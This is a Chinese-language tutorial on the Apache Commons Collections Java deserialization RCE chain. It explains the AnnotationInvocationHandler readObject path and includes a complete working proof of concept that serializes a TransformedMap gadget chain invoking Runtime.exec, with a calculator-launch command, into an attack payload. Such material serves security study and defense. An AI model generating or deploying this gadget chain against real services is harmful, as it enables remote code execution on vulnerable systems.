sun.reflect.annotation.AnnotationInvocationHandler类实现了java.lang.reflect.InvocationHandler(Java动态代理)接口和java.io.Serializable接口,它还重写了readObject方法,在readObject方法中还间接的调用了TransformedMapMapEntrysetValue方法,从而也就触发了transform方法,完成了整个攻击链的调用。

    AnnotationInvocationHandler代码片段:

    1. package sun.reflect.annotation;
    2. class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    3. AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    4. // 省去代码部分
    5. }
    6. // Java动态代理的invoke方法
    7. public Object invoke(Object var1, Method var2, Object[] var3) {
    8. // 省去代码部分
    9. }
    10. private void readObject(ObjectInputStream var1) {
    11. // 省去代码部分
    12. }
    13. }

    readObject方法:
    **6. AnnotationInvocationHandler - 图1
    上图中的第352行中的memberValuesAnnotationInvocationHandler的成员变量,memberValues的值是在var1.defaultReadObject();时反序列化生成的,它也就是我们在创建AnnotationInvocationHandler时传入的带有恶意攻击链的TransformedMap。需要注意的是如果我们想要进入到var5.setValue这个逻辑那么我们的序列化的map中的key必须包含创建AnnotationInvocationHandler时传入的注解的方法名。

    既然利用AnnotationInvocationHandler类我们可以实现反序列化RCE,那么在序列化AnnotationInvocationHandler对象的时候传入我们精心构建的包含了恶意攻击链的TransformedMap对象的序列化字节数组给远程服务,对方在反序列化AnnotationInvocationHandler类的时候就会触发整个恶意的攻击链,从而也就实现了远程命令执行了。

    创建AnnotationInvocationHandler对象:
    因为sun.reflect.annotation.AnnotationInvocationHandler是一个内部API专用的类,在外部我们无法通过类名创建出AnnotationInvocationHandler类实例,所以我们需要通过反射的方式创建出AnnotationInvocationHandler对象:

    1. // 创建Map对象
    2. Map map = new HashMap();
    3. // map的key名称必须对应创建AnnotationInvocationHandler时使用的注解方法名,比如创建
    4. // AnnotationInvocationHandler时传入的注解是java.lang.annotation.Target,那么map
    5. // 的key必须是@Target注解中的方法名,即:value,否则在反序列化AnnotationInvocationHandler
    6. // 类调用其自身实现的readObject方法时无法通过if判断也就无法通过调用到setValue方法了。
    7. map.put("value", "value");
    8. // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
    9. Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
    10. // 获取AnnotationInvocationHandler类对象
    11. Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    12. // 获取AnnotationInvocationHandler类的构造方法
    13. Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
    14. // 设置构造方法的访问权限
    15. constructor.setAccessible(true);
    16. // 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例,等价于:
    17. // Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
    18. Object instance = constructor.newInstance(Target.class, transformedMap);

    instance对象就是我们最终用于序列化的AnnotationInvocationHandler对象,我们只需要将这个instance序列化后就可以得到用于攻击的payload了。
    完整的攻击示例Demo:

    1. package com.anbai.sec.serializes;
    2. import org.apache.commons.collections.Transformer;
    3. import org.apache.commons.collections.functors.ChainedTransformer;
    4. import org.apache.commons.collections.functors.ConstantTransformer;
    5. import org.apache.commons.collections.functors.InvokerTransformer;
    6. import org.apache.commons.collections.map.TransformedMap;
    7. import java.io.ByteArrayInputStream;
    8. import java.io.ByteArrayOutputStream;
    9. import java.io.ObjectInputStream;
    10. import java.io.ObjectOutputStream;
    11. import java.lang.annotation.Target;
    12. import java.lang.reflect.Constructor;
    13. import java.util.Arrays;
    14. import java.util.HashMap;
    15. import java.util.Map;
    16. /**
    17. * Creator: yz
    18. * Date: 2019/12/16
    19. */
    20. public class CommonsCollectionsTest {
    21. public static void main(String[] args) {
    22. String cmd = "open -a Calculator.app";
    23. Transformer[] transformers = new Transformer[]{
    24. new ConstantTransformer(Runtime.class),
    25. new InvokerTransformer("getMethod", new Class[]{
    26. String.class, Class[].class}, new Object[]{
    27. "getRuntime", new Class[0]}
    28. ),
    29. new InvokerTransformer("invoke", new Class[]{
    30. Object.class, Object[].class}, new Object[]{
    31. null, new Object[0]}
    32. ),
    33. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
    34. };
    35. // 创建ChainedTransformer调用链对象
    36. Transformer transformedChain = new ChainedTransformer(transformers);
    37. // 创建Map对象
    38. Map map = new HashMap();
    39. map.put("value", "value");
    40. // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
    41. Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
    42. // // 遍历Map元素,并调用setValue方法
    43. // for (Object obj : transformedMap.entrySet()) {
    44. // Map.Entry entry = (Map.Entry) obj;
    45. //
    46. // // setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
    47. // entry.setValue("test");
    48. // }
    49. //
    50. //// transformedMap.put("v1", "v2");// 执行put也会触发transform
    51. try {
    52. // 获取AnnotationInvocationHandler类对象
    53. Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    54. // 获取AnnotationInvocationHandler类的构造方法
    55. Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
    56. // 设置构造方法的访问权限
    57. constructor.setAccessible(true);
    58. // 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例,等价于:
    59. // Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
    60. Object instance = constructor.newInstance(Target.class, transformedMap);
    61. // 创建用于存储payload的二进制输出流对象
    62. ByteArrayOutputStream baos = new ByteArrayOutputStream();
    63. // 创建Java对象序列化输出流对象
    64. ObjectOutputStream out = new ObjectOutputStream(baos);
    65. // 序列化AnnotationInvocationHandler类
    66. out.writeObject(instance);
    67. out.flush();
    68. out.close();
    69. // 获取序列化的二进制数组
    70. byte[] bytes = baos.toByteArray();
    71. // 输出序列化的二进制数组
    72. System.out.println("Payload攻击字节数组:" + Arrays.toString(bytes));
    73. // 利用AnnotationInvocationHandler类生成的二进制数组创建二进制输入流对象用于反序列化操作
    74. ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
    75. // 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象
    76. ObjectInputStream in = new ObjectInputStream(bais);
    77. // 模拟远程的反序列化过程
    78. in.readObject();
    79. // 关闭ObjectInputStream输入流
    80. in.close();
    81. } catch (Exception e) {
    82. e.printStackTrace();
    83. }
    84. }
    85. }

    反序列化RCE调用链如下:

    1. ObjectInputStream.readObject()
    2. ->AnnotationInvocationHandler.readObject()
    3. ->TransformedMap.entrySet().iterator().next().setValue()
    4. ->TransformedMap.checkSetValue()
    5. ->TransformedMap.transform()
    6. ->ChainedTransformer.transform()
    7. ->ConstantTransformer.transform()
    8. ->InvokerTransformer.transform()
    9. ->Method.invoke()
    10. ->Class.getMethod()
    11. ->InvokerTransformer.transform()
    12. ->Method.invoke()
    13. ->Runtime.getRuntime()
    14. ->InvokerTransformer.transform()
    15. ->Method.invoke()
    16. ->Runtime.exec()

    Apache Commons Collections漏洞利用方式也不仅仅只有本节所讲解的利用AnnotationInvocationHandler触发TransformedMap构建调用链的这一种方式,ysoserial还提供了多种基于InstantiateTransformer/InvokerTransformer构建调用链方式:LazyMapPriorityQueueBadAttributeValueExpExceptionHashSetHashtable